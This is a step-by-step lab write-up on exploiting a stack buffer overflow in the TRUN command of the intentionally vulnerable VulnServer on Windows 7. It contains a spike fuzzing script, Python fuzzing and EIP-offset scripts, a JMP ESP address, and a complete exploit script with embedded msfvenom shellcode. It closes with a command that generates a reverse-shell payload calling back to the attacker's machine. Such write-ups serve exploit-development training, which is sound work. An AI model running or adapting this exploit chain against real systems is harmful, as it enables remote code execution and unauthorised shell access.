VulnServer is an intentionally vulnerable server for Windows, in this writeup I will be detailing the methods used to exploit a Buffer OverFlow attack in the TRUN function. The software I used was:
- Windows 7 Enterprise x64
- Immunity Debugger
- Kali Linux
I connected to my Windows 7 machines using rdesktop from Kali.
I added the IP address of my windows machines to /etc/hosts at win7.local and as I was running known, easily exploitable software – setup firewall rules on the windows machine to only allow machines on my local subnet to connect to port 9999. Running vulnserver and the netstat command confirms that vulnserver is listening on port 9999 as expected.
I used a method called spiking to confirm that the TRUN function was vulnerable. This method invloves using a spike script and generic_tcp_send.
The spike script that I used was:
s_readline(); s_string("TRUN "); s_string_variable("0");
On my Win7 machine I ran Immunity Debugger and Vulnserver with Administrator rghts. On my Kali machine I passed the spike script to generic_tcp_send using the following command:
generic_send_tcp win7.local 9999 trun.spk 0 0
This crashed vulnserver as expected. Usually this technique would be used to test several functions to find a vulnerable one. It also shows that the payload should be preceeded by TRUN/.:/
I wrote the following python script to fuzz the TRUN function, this script simply connects to the server and sends 200 A’s, pauses for 1 second and then sends another 200 A’s on top of the previous 200, this process is repeated until the server crashes, once the server crashes the script will show how many bytes were sent on the crash to give a rough estimate of how many characters it will take to cause a crash.
#!/usr/bin/python3 import sys, socket from time import sleep ip = 'win7.local' port = 9999 fuzz = b'\x41' * 200 while True: try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1.5) print('Trying ' + str(len(fuzz)) + ' bytes.') s.connect((ip, port)) data = s.recv(1024) print(data) s.send((b'TRUN /.:/' + fuzz)) s.close() sleep(1) fuzz = fuzz + b'\x41' * 200 except socket.error: print('Program crashed at ' + str(len(fuzz)) + ' bytes.') sys.exit()
Running this script causes a crash at roughly 2200 bytes, this gives a good estimate on how many bytes to use for the attack.
Finding the Offset
Knowing the program crashes at around 2200 bytes I used msfvenom to create a pattern of 2500 bytes. This 2500 byte pattern will replace the the increasing payload of A’s from the previous script.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
#!/usr/bin/python3 import sys, socket ip = 'win7.local' port = 9999 payload = b"Aa<--snip-->2D" #2500 byte pattern try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1.5) print('Sending payload.') s.connect((ip, port)) data = s.recv(1024) print(data) s.send((b'TRUN /.:/' + payload)) s.close() except socket.error: print('Can\'t connect') sys.exit()
Running this script successfully overwrites EIP. Searching for the exact pattern stored in EIP using pattern_offset.rb shows that EIP was overwritten at 2003 bytes.
Knowing that EIP is overwritten at 2003 bytes I created a script to test if I could get a clean overwrite and control EIP using 4 B’s. I also threw in 500 C’s to check the flow of execution afterwards.
#!/usr/bin/python3 import sys, socket ip = 'win7.local' port = 9999 payload = (b"\x41" * 2003) + (b"\x42" * 4) + (b"\x43" * 500) try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1.5) print('Sending payload.') s.connect((ip, port)) data = s.recv(1024) print(data) s.send((b'TRUN /.:/' + payload)) s.close() except socket.error: print('Can\'t connect') sys.exit()
Running this script successfully overwrites EIP with 4 B’s and ESP is overwritten with the C’s.
Finding Bad Characters
With control over EIP it is important to find any characters that may interrupt my final payload. I used the following script to crash the program, overwrite EIP and place a list of bytes (excluding a null byte – \x00) onto ESP. I can then check the ESP register to see if the list either gets cut off – indicating a bad character or if any of the characters are missing.
Finding a Vulnerable Module
Before generating a payload we need to redirect the flow of execution as the 4 bytes in EIP isn’t enough to fit a payload. I used mona.py to search for modules within the program, ideally one with no memory protections. Running the command !mona modules leads me to essfunc.dll.
!mona jmp -r ESP -m “essfunc.dll”
Shows that we can jump to this function using the address – 625011af
I added the following line to my python script to make the jump – note the bytes are placed back to front, this is because the program is little-endian.
espjmp = b”\xaf\x11\x50\x62″
With the ability to now redirect the flow of execution and a reasonably large section of memory to execute code, I created a payload to “pop calc” using msfvenom:
msfvenom -p windows/exec cmd=calc.exe -b ‘\x00’ -f python exitfunc=thread
This command tells msfvenom to avoid “\x00”, format the shellcode to be used in python and to use the exitfunction as threaded, this will stop the program from crashing when the exploit is executed.
I also added a “nop sled” to my script, this is 32 bytes of “\x90” which is a no-op code, this will pad the payload and stop the first few bytes from being cut off. The final script was:
#!/usr/bin/python3 import sys, socket ip = 'win7.local' port = 9999 #Badchars - \x00 espjmp = b"\xaf\x11\x50\x62" nops = b"\x90" * 32 #msfvenom -p windows/exec cmd=calc.exe -b '\x00' -f python exitfunc=thread buf = b"" buf += b"\xbb\x70\x2a\x23\x2b\xda\xc6\xd9\x74\x24\xf4\x5a\x29" buf += b"\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc\x03\x5a\x7f\xc8" buf += b"\xd6\xd7\x97\x8e\x19\x28\x67\xef\x90\xcd\x56\x2f\xc6" buf += b"\x86\xc8\x9f\x8c\xcb\xe4\x54\xc0\xff\x7f\x18\xcd\xf0" buf += b"\xc8\x97\x2b\x3e\xc9\x84\x08\x21\x49\xd7\x5c\x81\x70" buf += b"\x18\x91\xc0\xb5\x45\x58\x90\x6e\x01\xcf\x05\x1b\x5f" buf += b"\xcc\xae\x57\x71\x54\x52\x2f\x70\x75\xc5\x24\x2b\x55" buf += b"\xe7\xe9\x47\xdc\xff\xee\x62\x96\x74\xc4\x19\x29\x5d" buf += b"\x15\xe1\x86\xa0\x9a\x10\xd6\xe5\x1c\xcb\xad\x1f\x5f" buf += b"\x76\xb6\xdb\x22\xac\x33\xf8\x84\x27\xe3\x24\x35\xeb" buf += b"\x72\xae\x39\x40\xf0\xe8\x5d\x57\xd5\x82\x59\xdc\xd8" buf += b"\x44\xe8\xa6\xfe\x40\xb1\x7d\x9e\xd1\x1f\xd3\x9f\x02" buf += b"\xc0\x8c\x05\x48\xec\xd9\x37\x13\x7a\x1f\xc5\x29\xc8" buf += b"\x1f\xd5\x31\x7c\x48\xe4\xba\x13\x0f\xf9\x68\x50\xef" buf += b"\x1b\xb9\xac\x98\x85\x28\x0d\xc5\x35\x87\x51\xf0\xb5" buf += b"\x22\x29\x07\xa5\x46\x2c\x43\x61\xba\x5c\xdc\x04\xbc" buf += b"\xf3\xdd\x0c\xdf\x92\x4d\xcc\x0e\x31\xf6\x77\x4f" payload = b"\x41" * 2003 + espjmp + nops + buf try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1.5) print('Sending payload.') s.connect((ip, port)) data = s.recv(1024) print(data) s.send((b'TRUN /.:/' + payload)) s.close() except socket.error: print('Can\'t connect') sys.exit()
Running this script successfully runs calc.exe on the target system.
With confirmation that I had code execution I replace the shellcode with a payload to create a reverse connection back to my kali machine.
To do this I used msfvenom again, this time the command was:
msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=9001 -b “\x00” -f python exitfunc=thread